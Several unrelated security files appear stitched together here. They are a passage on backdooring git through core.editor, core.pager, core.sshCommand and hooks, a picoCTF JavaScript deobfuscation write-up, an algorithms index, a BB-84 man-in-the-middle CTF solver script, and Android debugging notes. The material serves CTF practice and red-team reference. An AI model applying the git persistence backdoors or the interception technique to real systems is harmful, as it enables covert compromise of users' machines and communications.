variables](https://git-scm.com/docs/git-config) that execute arbitrary commands when certain actions are taken. As an added bonus, git configs can be specified multiple ways leading to additional backdoor opportunities. Configs can be set at the user level (`~/.gitconfig`), at the repository level (`path/to/repo/.git/config`), and sometimes via environment variables. `core.editor` is executed whenever git needs to provide the user with an editor (e.g. `git rebase -i`, `git commit --amend`). The equivalent environment variable is `GIT_EDITOR`. ```properties [core] editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}} ``` `core.pager` is executed whenever git needs to potentially large amounts of data (e.g. `git diff`, `git log`, `git show`). The equivalent environment variable is `GIT_PAGER`. ```properties [core] pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less} ``` `core.sshCommand` is executed whenever git needs to interact with a remote *ssh* repository (e.g. `git fetch`, `git pull`, `git push`). The equivalent environment variable is `GIT_SSH` or `GIT_SSH_COMMAND`. ```properties [core] sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh [ssh] variant = ssh ``` Note that `ssh.variant` (`GIT_SSH_VARIANT`) is technically optional, but without it git will run `sshCommand` _twice_ in rapid succession. (The first run is to determine the SSH variant and the second to pass it the correct parameters.) ### Git Hooks [Git hooks](https://git-scm.com/docs/githooks) are programs you can place in a hooks directory to trigger actions at certain points during git's execution. By default, hooks are stored in a repository's `.git/hooks` directory and are run when their name matches the current git action and the hook is marked as executable (i.e. `chmod +x`). Potentially useful hook scripts to backdoor: - `pre-commit` is run just before `git commit` is executed. - `pre-push` is run just before `git push` is executed. - `post-checkout` is run just after `git checkout` is executed. - `post-merge` is run after `git merge` or after `git pull` applies new changes. In addition to spawning a backdoor, some of the above hooks can be used to sneak malicious changes into a repo without the user noticing. Lastly, it is possible to globally backdoor _all_ of a user's git hooks by setting the `core.hooksPath` git config variable to a common directory in the user-level git config file (`~/.gitconfig`). Note that this approach will break any existing repository-specific git hooks. ## Additional Persistence Options * [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004) * [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554) * [Create Account](https://attack.mitre.org/techniques/T1136/) * [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/) * [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/) * [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/) * [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/) * [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/) * [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/) * [External Remote Services](https://attack.mitre.org/techniques/T1133/) * [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/) * [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/) * [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/) * [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/) * [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/) * [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/) * [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/) * [Server Software Component](https://attack.mitre.org/techniques/T1505/) * [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/) * [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/) * [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/) * [Traffic Signaling](https://attack.mitre.org/techniques/T1205/) * [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/) * [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/) * [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/) ## References * [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289) * [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/) * [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html) * [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/) * [Pouki from JDI](#no_source_code)
sec-knowleage
# Client-side-again Web Exploitation, 200 points ## Description: > Can you break into this super secure portal? ## Solution: We visit the website and inspect the source code: ```html <html> <head> <title>Secure Login Portal V2.0</title> </head> <body background="barbed_wire.jpeg" > <!-- standard MD5 implementation --> <script type="text/javascript" src="md5.js"></script> <script type="text/javascript"> var _0x5a46=['55670}','_again_0','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}} </script> <div style="position:relative; padding:5px;top:50px; left:38%; width:350px; height:140px; background-color:gray"> <div style="text-align:center"> <p>New and Improved Login</p> <p>Enter valid credentials to proceed</p> <form action="index.html" method="post"> <input type="password" id="pass" size="8" /> <br/> <input type="submit" value="verify" onclick="verify(); return false;" /> </form> </div> </div> </body> </html> ``` Let's call a [Javascript Beautifier](http://www.jsnice.org/) in order to make the Javascript code a bit more readable: ```javascript 'use strict'; /** @type {!Array} */ var _0x5a46 = ["c2047}", "_again_6", "this", "Password Verified", "Incorrect password", "getElementById", "value", "substring", "picoCTF{", "not_this"]; (function(data, i) { /** * @param {number} isLE * @return {undefined} */ var write = function(isLE) { for (; --isLE;) { data["push"](data["shift"]()); } }; write(++i); })(_0x5a46, 435); /** * @param {string} level * @param {?} ai_test * @return {?} */ var _0x4b5b = function(level, ai_test) { /** @type {number} */ level = level - 0; var rowsOfColumns = _0x5a46[level]; return rowsOfColumns; }; /** * @return {undefined} */ function verify() { checkpass = document[_0x4b5b("0x0")]("pass")[_0x4b5b("0x1")]; /** @type {number} */ split = 4; if (checkpass[_0x4b5b("0x2")](0, split * 2) == _0x4b5b("0x3")) { if (checkpass[_0x4b5b("0x2")](7, 9) == "{n") { if (checkpass[_0x4b5b("0x2")](split * 2, split * 2 * 2) == _0x4b5b("0x4")) { if (checkpass[_0x4b5b("0x2")](3, 6) == "oCT") { if (checkpass[_0x4b5b("0x2")](split * 3 * 2, split * 4 * 2) == _0x4b5b("0x5")) { if (checkpass["substring"](6, 11) == "F{not") { if (checkpass[_0x4b5b("0x2")](12, 16) == _0x4b5b("0x7")) { if (checkpass[_0x4b5b("0x2")](split * 2 * 2, split * 3 * 2) == _0x4b5b("0x6")) { alert(_0x4b5b("0x8")); } } } } } } } } else { alert(_0x4b5b("0x9")); } } ; ``` We see that `_0x4b5b` is a function used to obfuscate different values. It is calculated in runtime. Luckily, we can use the browser's Javascript console ("Developer Tools") in order to evaluate `_0x4b5b` and read its values: ``` >>> _0x4b5b function _0x4b5b() >>> _0x4b5b("0x0") "getElementById" >>> _0x4b5b("0x1") "value" >>> _0x4b5b("0x2") "substring" >>> _0x4b5b("0x3") "picoCTF{" >>> _0x4b5b("0x4") "not_this" >>> _0x4b5b("0x5") "55670}" >>> _0x4b5b("0x6") "_again_0" >>> _0x4b5b("0x7") "this" >>> _0x4b5b("0x8") "Password Verified" >>> _0x4b5b("0x9") "Incorrect password" ``` Let's replace the function calls with hardcoded values to improve readability: ```javascript function verify() { checkpass = document["getElementById"]("pass")["value"]; /** @type {number} */ split = 4; if (checkpass["substring"](0, split * 2) == "picoCTF{") { if (checkpass["substring"](7, 9) == "{n") { if (checkpass["substring"](split * 2, split * 2 * 2) == "not_this") { if (checkpass["substring"](3, 6) == "oCT") { if (checkpass["substring"](split * 3 * 2, split * 4 * 2) == "55670}") { if (checkpass["substring"](6, 11) == "F{not") { if (checkpass["substring"](12, 16) == "this") { if (checkpass["substring"](split * 2 * 2, split * 3 * 2) == "_again_0") { alert("Password Verified"); } } } } } } } } else { alert("Incorrect password"); } } ``` So this is very similar to [dont-use-client-side](dont-use-client-side.md), using `substring` to authenticate the password. We have: ``` (0-8) == "picoCTF{" (7-9) == "{n" (8-16) == "not_this" (3-6) == "oCT" (24-32) == "c2047}" (6-11) == "F{not" (16-24) == "_again_6" (12-16) == "this" ``` Notice that there are some overlaps. An evil way to turn this into a flag would be by transforming the javascript substrings into Python array-assignment code and executing it: ```python text = """ if (checkpass["substring"](0, split * 2) == "picoCTF{") { if (checkpass["substring"](7, 9) == "{n") { if (checkpass["substring"](split * 2, split * 2 * 2) == "not_this") { if (checkpass["substring"](3, 6) == "oCT") { if (checkpass["substring"](split * 3 * 2, split * 4 * 2) == "55670}") { if (checkpass["substring"](6, 11) == "F{not") { if (checkpass["substring"](12, 16) == "this") { if (checkpass["substring"](split * 2 * 2, split * 3 * 2) == "_again_0") { """ flag = [None] * 32 split = 4 for line in text.split("\n"): line = line.strip() if line == "": continue line = line.replace('if (checkpass["substring"](', 'flag[').replace(', ', ":").replace(') == ', '] = ').replace(') {', '') exec(line) print "".join(flag) ``` This gives us the flag at the price of allowing `exec` to slip into our code. ```console root@kali:/media/sf_CTFs/pico/Client-side-again# python solve.py flag[0:split * 2] = "picoCTF{" flag[7:9] = "{n" flag[split * 2:split * 2 * 2] = "not_this" flag[3:6] = "oCT" flag[split * 3 * 2:split * 4 * 2] = "55670}" flag[6:11] = "F{not" flag[12:16] = "this" flag[split * 2 * 2:split * 3 * 2] = "_again_0" picoCTF{not_this_again_055670} ```
sec-knowleage
# 算法目录 - [算法分析](算法%20-%20算法分析.md) - [排序](算法%20-%20排序.md) - [并查集](算法%20-%20并查集.md) - [栈和队列](算法%20-%20栈和队列.md) - [符号表](算法%20-%20符号表.md) - [其它](算法%20-%20其它.md) ## 参考资料 - Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
sec-knowleage
# BB-8 (crypto, 200p) ## ENG [PL](#pl-version) In the task we get a [source code](server.py) of service we can connect to. We also get a lengthly [description](README.txt) of the protocol we are working with. It is basically a standard BB-84 Quantum Key Distribution protocol. The service we can connect to is a Man-in-the-middle infrastructure placed between Alice and Bob. We know that Alice will sent Bob 600 qbits with 2 possible bases each, then Alice will confirm which bases Bob guessed right (statistically about half), then Bob will send to Alice half of the correct values he got, to make sure no-one modified the data on the way. Finally from the remaining correct bit values Bob and Alice will take 128 and create AES-ECB-128 key and exchange encrypoted messages. What we will do here is basically spoofing the entire communication, so that Alice and Bob in reality agree on the key with us, and not with the expected recipient. This is trivial to do, since we can simply follow the protocol with both of them independently. It will, however, not give us the whole flag! This is because in the end there is the verification phase when parties exchange half of the correct values, and if we agreed on different number with Alice and with Bob then sadly we will have at some point to send wrong message to one of them (since we have to send one message to Alice and one message to Bob each time), which will trigger closing the channel. So what we really want to do is to make sure we agree on the same number of correct values with both parties, using some heurustic and a bit of luck. The whole idea is: 1. We collect values sent by Alice, for simplicity we always try base Z. 2. We send to Bob only values 1 all encoded in base Z, for simplicity :) 3. During the verification phase we verify how many bits we got right from Alice, by sending her always base Z and checking if she responded with -1 or 1 4. During verification phase we verify how many bits Bob got right, by checking if he tried base Z (we always encoded our 1 in Z when sending to him) 5. We introduce small heuristic to lie to Bob if he is getting too many good guesses, to lower his score. We could also lie the other way, as long as we make sure we're doing this on even bits, since only odd bits will be used as AES key, but this was not necessary. 6. Now we have set of qbit values agreed with Alice and we confirmed Bob with all the 1s he got right. Hopefully at this point the both counters are equal. It requires a bit of luck so we simply run this multiple times. 7. Next phase is trivial, we simply send to Alice half of the qbits we got right and we send ACK to Bob every time. 8. Now we agreed to have AES key with Bob which contains only 1s and we agreed with Alice on the key from the leftover qbits. 9. If the counters were equal both parties will now transmit their part of the flag. If the counters are not equal we will get only half of the flag and we will have to run again to get the other half! 10. We simply decode the results! ```python import re from crypto_commons.netcat.netcat_commons import nc, receive_until, send, receive_until_match, interactive def select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice): return [qbits_from_alice[i] for i in range(600) if correct_base_guesses_from_alice[i] == 1] def main(): url = 'bb8.chal.pwning.xxx' port = 20811 s = nc(url, port) print(receive_until(s, "...")) qbits_from_alice = [] print('spoofing initial communication') for i in range(1199): # 600 qbits from Alice to Bob and 599 ACK from Bob to Alice c = receive_until(s, "?") print(i, c) if "Bob" in c: send(s, "y") # intercept qbit to bob send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "1") # always send value 1 data = receive_until_match(s, "value 1", 10.0) qbits_from_alice.append(int(re.findall("measured (-?\d+)", data)[0])) else: send(s, "N") # don't touch ACKs print("alice qbits we got", qbits_from_alice) bases_from_bob = [] correct_base_guesses_from_alice = [] bob_correct = 0 alice_correct = 0 for i in range(1200): # 600 qbit base guesses from Bob to Alice and 600 answers from Alice to Bob c = receive_until(s, "?") print(i, c) if "Alice" in c: # intercept qbit base guess to Alice send(s, "y") send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "-1") # value -1 indicating Z base, we guess only Z base data = receive_until_match(s, "value -1", 10.0) bases_from_bob.append(int(re.findall("measured (-?\d+)", data)[0])) else: # intercept alice answer send(s, "y") send(s, "Z") # measure in Z data = receive_until_match(s, "measured (-?\d+)", 10.0) alice_answer = int(re.findall("measured (-?\d+)", data)[0]) correct_base_guesses_from_alice.append(alice_answer) if alice_answer == 1: alice_correct += 1 send(s, "Y") # replace send(s, "Z") # Z axis if bases_from_bob[-1] == -1: # bob guessed Z axis if i > 1150 and alice_correct > bob_correct: # slow down bob to get similar result len send(s, "-1") else: bob_correct += 1 send(s, "1") else: send(s, "-1") # bob tried Y axis data = receive_until_match(s, "value -?\d+", 10.0) print("bases from bob", bases_from_bob) print("correct base guesses from alice", correct_base_guesses_from_alice) agreed_qbit_values = select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice) print("agreed qbit values", len(agreed_qbit_values), agreed_qbit_values) # qbit values where we correctly guessed the base print("bob was correct", bob_correct) print("we were correct with alice", alice_correct) alice_key = [agreed_qbit_values[i * 2 + 1] for i in range(128)] bob_key = [1 for _i in range(128)] # we sent only 1 to bob, so all he got right must be 1s print('alice key', alice_key) print('bob key', bob_key) for i in range(max(bob_correct, alice_correct)): c = receive_until(s, "?") print(i, c) if "aborted" in c: interactive(s) elif "Alice" in c: send(s, "y") # intercept Bob verification qbit send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis new_value = str(agreed_qbit_values[i]) send(s, new_value) # replace with value we got correct from Alice data = receive_until_match(s, "value " + new_value, 10.0) else: send(s, "N") # pass ACK along c = receive_until(s, "?") print(c) interactive(s) main() ``` This code gets us AES messages from both sides which we decode: ```python def decode_flag(): ct = '80dc59ce81e30bcd02198059b556731597ce5cf597481229ac9b2d523516c83e0f65896ce3b51cc2eb5b120adca55ed8'.decode( "hex") cipher = AES.new("\xff" * 16, AES.MODE_ECB) pt1 = cipher.decrypt(ct) ct2 = "34c7bb71814ff4f06e0d586e6f419364faf33270afed759e2593b36ac5b430f1".decode("hex") agreed_qbits = [1, -1, 1, 1, -1, -1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, -1, -1, 1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, 1, -1, 1, 1, 1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, -1, 1, 1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, -1, -1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, -1, 1, -1, -1, 1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, 1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, -1, 1, 1, -1, -1, -1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, -1, -1, 1, 1, -1, -1, -1, -1, -1, 1, -1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, 1, -1, -1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, -1, 1] key_qbits = [agreed_qbits[i * 2 + 1] for i in range(128)] key_bitstring = "".join(['1' if c == 1 else '0' for c in key_qbits]) print(key_bitstring) key = int(key_bitstring, 2) k = long_to_bytes(key) cipher = AES.new(k, AES.MODE_ECB) pt2 = cipher.decrypt(ct2) print(pt2.strip()+pt1.strip()) ``` And we have a flag: `PCTF{perhaps_secrecy_aint_the_same_thing_as_authentication}` ## PL version W zadaniu dostajemy [kod](server.py) serwisu do którego możemy się połączyć. Dostajemy też długi [opis](README.txt) protokołu z którym pracujemy. To jest standardowy protokół BB-84 Kwantowej Wymiany Klucza. Serwis z którym się komunikujemy pozwala na atak Man-in-the-middle pomiędzy Alice i Bobem. Wiemy że Alice wyśle do Boba 600 qbitów, każdy w jednej z 2 baz, następnie Alice potwierdzi Bobowi które bazy zgadł poprawnie (statystycznie połowę), następnie Bob wyśle do Alice połowę poprawnych wartości które uzyskał, żeby upewnić się że nikt nie zmienił danych po drodze. Na koniec z pozostałych poprawnych wartości Bob i Alice wezmą 128 bitów i utworzą z nich wspólny klucz AES-ECB-128 którym zaszyfrują swoje wiadomości. My zamierzamy spoofować całą komunikacje, tak że w rzeczywistości Alice i Bob zgodzą się na klucze z nami a nie ze sobą nawzajem. To generalnie jest trywialne, bo możemy po prostu postępować zgodnie z protokołem dla każdego z nich z osobna. To niestety nie da nam całej flagi! Jest tak, ponieważ na końcu jest faza weryfikacji kiedy Bob wysyła połowę poprawnych wartości do Alice i jeśli uzgodnimy znimi różną liczbę poprawnych wartości to w pewnej chwili będziemy musieli do jednej ze stron wysłać nieoczekiwaną wartość (ponieważ możemy wysyłać jedynie qbity raz do Alice i raz do Boba), a to spowoduje zerwanie połączenia przez jedną ze stron. Chcemy więc mieć pewność że uzgodnimy taką samą liczbę poprawnych wartości z obiema stronami, stosując trochę heurystyk i szczęścia. Idea jest taka: 1. Pobieramy wartości od Alice, dla ułatwienia zawsze próbujemy bazę Z. 2. Wysyłamy do Boba same 1 w bazie Z, dla ułatwienia :) 3. Podczas weryfikacji uzgadniamy ile bitów od Alice wyznaczyliśmy poprawnie, wysyłając jej zawsze bazę Z i sprawdzając czy odpowiedziała -1 czy 1 4. Podczas weryfikacji sprawdzamy ile bitów Bob dobrze odkodował, testujac czy użył bazy Z (zawsze wysyłaliśmy mu 1 w bazie Z). 5. Wprowadzamy heurystykę, żeby kłamać Bobowi jeśli idzie mu za dobrze, żeby obniżyć jego wynik. Możemy kłamać też w drugą stronę, ale musimy uważać żeby robić to tylko dla parzystych bitów, bo te nie trafią potem do klucza AES, ale nie było to finalnie konieczne. 6. Teraz mamy listę qbitów od Alice które odczytaliśmy dobrze i wiemy też ile 1 Bob odczytał dobrze. Miejmy nadzieje że obie wartości są sobie równe. Wymaga to trochę szczęścia więc uruchomiliśmy solver kilka razy dla pewności. 7. Następna faza jest trywialna, po prostu wysyłamy do Alice połowę qbitów które dobrze od niej odczytaliśmy a do Boba wysyłamy ACK za każdym razem. 8. Teraz uzgodniliśmy z Bobe klucz złożony z samych 1 a z Alice ten z pozostałych bitów. 9. Jeśli liczniki były równe to teraz Bob i Alice wymienią się wiadomościami szyfrowanymi AESem. Jeśli liczniki nie były równe to dostaniemy tylko połowę flagi, bo jedna ze stron zerwie połączenie i będziemy musieli uruchomić to jeszcze raz. 10. Na koniec deszyfrujemy AESa!. ```python import re from crypto_commons.netcat.netcat_commons import nc, receive_until, send, receive_until_match, interactive def select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice): return [qbits_from_alice[i] for i in range(600) if correct_base_guesses_from_alice[i] == 1] def main(): url = 'bb8.chal.pwning.xxx' port = 20811 s = nc(url, port) print(receive_until(s, "...")) qbits_from_alice = [] print('spoofing initial communication') for i in range(1199): # 600 qbits from Alice to Bob and 599 ACK from Bob to Alice c = receive_until(s, "?") print(i, c) if "Bob" in c: send(s, "y") # intercept qbit to bob send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "1") # always send value 1 data = receive_until_match(s, "value 1", 10.0) qbits_from_alice.append(int(re.findall("measured (-?\d+)", data)[0])) else: send(s, "N") # don't touch ACKs print("alice qbits we got", qbits_from_alice) bases_from_bob = [] correct_base_guesses_from_alice = [] bob_correct = 0 alice_correct = 0 for i in range(1200): # 600 qbit base guesses from Bob to Alice and 600 answers from Alice to Bob c = receive_until(s, "?") print(i, c) if "Alice" in c: # intercept qbit base guess to Alice send(s, "y") send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis send(s, "-1") # value -1 indicating Z base, we guess only Z base data = receive_until_match(s, "value -1", 10.0) bases_from_bob.append(int(re.findall("measured (-?\d+)", data)[0])) else: # intercept alice answer send(s, "y") send(s, "Z") # measure in Z data = receive_until_match(s, "measured (-?\d+)", 10.0) alice_answer = int(re.findall("measured (-?\d+)", data)[0]) correct_base_guesses_from_alice.append(alice_answer) if alice_answer == 1: alice_correct += 1 send(s, "Y") # replace send(s, "Z") # Z axis if bases_from_bob[-1] == -1: # bob guessed Z axis if i > 1150 and alice_correct > bob_correct: # slow down bob to get similar result len send(s, "-1") else: bob_correct += 1 send(s, "1") else: send(s, "-1") # bob tried Y axis data = receive_until_match(s, "value -?\d+", 10.0) print("bases from bob", bases_from_bob) print("correct base guesses from alice", correct_base_guesses_from_alice) agreed_qbit_values = select_agreed_values(qbits_from_alice, correct_base_guesses_from_alice) print("agreed qbit values", len(agreed_qbit_values), agreed_qbit_values) # qbit values where we correctly guessed the base print("bob was correct", bob_correct) print("we were correct with alice", alice_correct) alice_key = [agreed_qbit_values[i * 2 + 1] for i in range(128)] bob_key = [1 for _i in range(128)] # we sent only 1 to bob, so all he got right must be 1s print('alice key', alice_key) print('bob key', bob_key) for i in range(max(bob_correct, alice_correct)): c = receive_until(s, "?") print(i, c) if "aborted" in c: interactive(s) elif "Alice" in c: send(s, "y") # intercept Bob verification qbit send(s, "Z") # measure in Z send(s, "Y") # replace send(s, "Z") # Z axis new_value = str(agreed_qbit_values[i]) send(s, new_value) # replace with value we got correct from Alice data = receive_until_match(s, "value " + new_value, 10.0) else: send(s, "N") # pass ACK along c = receive_until(s, "?") print(c) interactive(s) main() ``` To daje nam wiadomości szyfrowanego AESem oraz klucze: ```python def decode_flag(): ct = '80dc59ce81e30bcd02198059b556731597ce5cf597481229ac9b2d523516c83e0f65896ce3b51cc2eb5b120adca55ed8'.decode( "hex") cipher = AES.new("\xff" * 16, AES.MODE_ECB) pt1 = cipher.decrypt(ct) ct2 = "34c7bb71814ff4f06e0d586e6f419364faf33270afed759e2593b36ac5b430f1".decode("hex") agreed_qbits = [1, -1, 1, 1, -1, -1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, -1, -1, 1, 1, -1, 1, -1, 1, -1, -1, -1, 1, 1, -1, -1, -1, -1, 1, 1, -1, 1, -1, -1, -1, 1, -1, -1, 1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, 1, -1, -1, -1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, 1, -1, 1, 1, 1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, -1, 1, -1, -1, 1, 1, -1, 1, -1, 1, 1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, -1, -1, 1, 1, 1, 1, -1, 1, -1, 1, -1, -1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, -1, 1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, -1, 1, -1, 1, 1, 1, 1, 1, -1, 1, 1, -1, 1, 1, 1, 1, 1, -1, 1, -1, -1, 1, -1, -1, 1, -1, 1, -1, 1, -1, 1, -1, 1, 1, -1, 1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, 1, -1, 1, -1, 1, -1, -1, 1, -1, -1, -1, -1, 1, 1, 1, -1, 1, 1, -1, -1, 1, -1, 1, 1, -1, -1, -1, 1, -1, 1, 1, 1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, -1, -1, 1, 1, -1, -1, -1, -1, -1, 1, -1, -1, -1, -1, -1, -1, -1, 1, 1, -1, -1, 1, 1, 1, 1, -1, -1, 1, 1, 1, -1, -1, -1, 1, -1, -1, -1, -1, 1] key_qbits = [agreed_qbits[i * 2 + 1] for i in range(128)] key_bitstring = "".join(['1' if c == 1 else '0' for c in key_qbits]) print(key_bitstring) key = int(key_bitstring, 2) k = long_to_bytes(key) cipher = AES.new(k, AES.MODE_ECB) pt2 = cipher.decrypt(ct2) print(pt2.strip()+pt1.strip()) ``` I dostajemy flagę: `PCTF{perhaps_secrecy_aint_the_same_thing_as_authentication}`
sec-knowleage
# Android 动态调试 ## Android 调试基本原理 一般来说,Android 根据如下的顺序来判断一个应用是否可以被调试 1. 检测 boot.img 中的 ro.debuggable 是否为1,为 1 的话,手机中的任何应用均可以调试。 2. 否则,检测对应应用中 AndroidManifest.xml 中 \<application\> 元素中是否包含了android:debuggable="true",如果有的话,才会开启调试支持。 自然,我们也就有两种方法来使得一个应用可以被调试 1. 将一个 apk 文件解包,在 \<application\> 元素中添加 android:debuggable="true",然后重打包,签名。 2. 修改 boot.img 中的 ro.debuggable 为 1。 一般来说,因为前者需要我们每次都需要修改应用,比较麻烦,我们更倾向于后者,。 对于后者来说,我们需要 root 手机,并刷入相关的镜像。(**!!找一篇合适的文章!!**) 此外,由 Andoird AVD 生成的模拟器默认情况下 ro.debuggable 被设置为1。 `ro.debuggable` 的值可以根据如下命令来查询 ```shell adb shell getprop ro.debuggable ``` ## 基本调试工具 ### DDMS DDMS(Dalvik Debug Monitor Service)是Dalvik虚拟机调试监控服务,可以监视Android程序在运行过程中的状态以及结果,可以大大加快我们的程序分析效率。这是一款由Android SDK提供的工具,其中有设备截屏,查看运行的线程信息、文件浏览、Logcat、Method Profiling、广播状态信息、模拟电话呼叫、接收SMS等功能。该工具一般位于Android SDK的tools目录下,其中ddms.bat就是用来启动DDMS的。DDMS中比较重要的功能主要是 - 文件浏览,我们可以观察并分析程序在执行过程中对文件的生成,修改,删除操作。 - Logcat,可以输出软件的一些调试信息。 - Method Profiling,可以跟踪程序的执行流程。 ### IDEA/Android Studio 安装 smaliidea 插件,动态调试smali。 ### IDA Pro 吾爱破解。
sec-knowleage
